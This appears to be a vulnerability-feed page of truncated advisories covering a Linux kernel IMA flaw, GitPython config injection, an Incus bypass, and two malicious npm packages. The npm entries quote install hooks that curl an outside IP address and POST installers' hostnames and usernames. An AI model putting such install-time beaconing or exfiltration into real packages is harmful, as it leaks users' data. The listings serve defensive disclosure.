CVE-2026-78676

GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated...

CVE-2026-74592

A flaw was found in the Linux kernel's Integrity Measurement Architecture IMA. When a file is truncated, the system's integrity policy hooks are not properly instantiated, preventing the action cache flags from being reset. This oversight means that after truncation, the file is not re-collected,...

Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

SUSE CVE-2026-74592

In the Linux kernel, the following vulnerability has been resolved: ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon as truncation is requested, so the file, based on policy, is...

CVE-2026-74695

In the Linux kernel, the following vulnerability has been resolved: netfilter: nfflowtable: drop existing skb dst before skbdstsetnoref Incoming skbs passing through netfilter flowtable offload hooks or XFRM offload path might already carry a ref-counted dstentry assigned during earlier RX or...

CVE-2026-74592

In the Linux kernel, the following vulnerability has been resolved: ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon as truncation is requested, so the file, based on policy, is...

UBUNTU-CVE-2026-74592

In the Linux kernel, the following vulnerability has been resolved: ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon as truncation is requested, so the file, based on policy, is...

CVE-2026-74592

In the Linux kernel, the following vulnerability has been resolved: ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon as truncation is requested, so the file, based on policy, is...

CVE-2026-74592

This vulnerability affects the Linux kernel's IMA (Integrity Measurement Architecture) subsystem. The root cause is that the file_truncate and path_truncate LSM hooks were not instantiated, meaning the IMA_DONE_MASK action cache flags were not reset when a file was truncated. As a result, after t...

CVE-2026-74592 ima: Instantiate file_truncate and path_truncate hooks

In the Linux kernel, the following vulnerability has been resolved: ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon as truncation is requested, so the file, based on policy, is...

EUVD-2026-64529

In the Linux kernel, the following vulnerability has been resolved: ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon as truncation is requested, so the file, based on policy, is...

CVE-2026-74592 ima: Instantiate file_truncate and path_truncate hooks

In the Linux kernel, the following vulnerability has been resolved: ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon as truncation is requested, so the file, based on policy, is...

PT-2026-79597

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description An issue exists in the Integrity Measurement Architecture IMA where action cache flags IMA DONE MASK were not reset during file truncation. This could allow a file to bypass re-collectio...

CVE-2026-74592: Undefined Security Weakness

In the Linux kernel, the following vulnerability has been resolved: ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon as truncation is requested, so the file, based on policy, is...

Linux Distros Unpatched Vulnerability : CVE-2026-74592

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ima: Instantiate filetruncate and pathtruncate hooks Instantiate the filetruncate and pathtruncate LSM hooks to reset the action cache flags IMADONEMASK as soon...

CVE-2026-48751

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches t...

Malicious code in @gfe/lx-watcher (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 22abe9bf1ccb266833585bda205a07bc5c9a728763a733aa48b08fe50b640b4e All three npm lifecycle hooks preinstall, install, postinstall invoke install.js, which POSTs the installer's hostname, OS username, current working...

MAL-2026-14353 Malicious code in @gfe/lx-watcher (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 22abe9bf1ccb266833585bda205a07bc5c9a728763a733aa48b08fe50b640b4e All three npm lifecycle hooks preinstall, install, postinstall invoke install.js, which POSTs the installer's hostname, OS username, current working...

CVE-2026-48751

Incus (a system container and virtual machine manager) prior to version 7.2.0 contains a restricted project bypass: instance snapshots ignore the restricted.containers.lowlevel=block setting, allowing an attacker with low privileges to abuse lowlevel hooks such as raw.lxc and raw.qemu to achieve ...

CVE-2026-48751 Incus has a restricted project bypass leading to arbitrary command execution

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches t...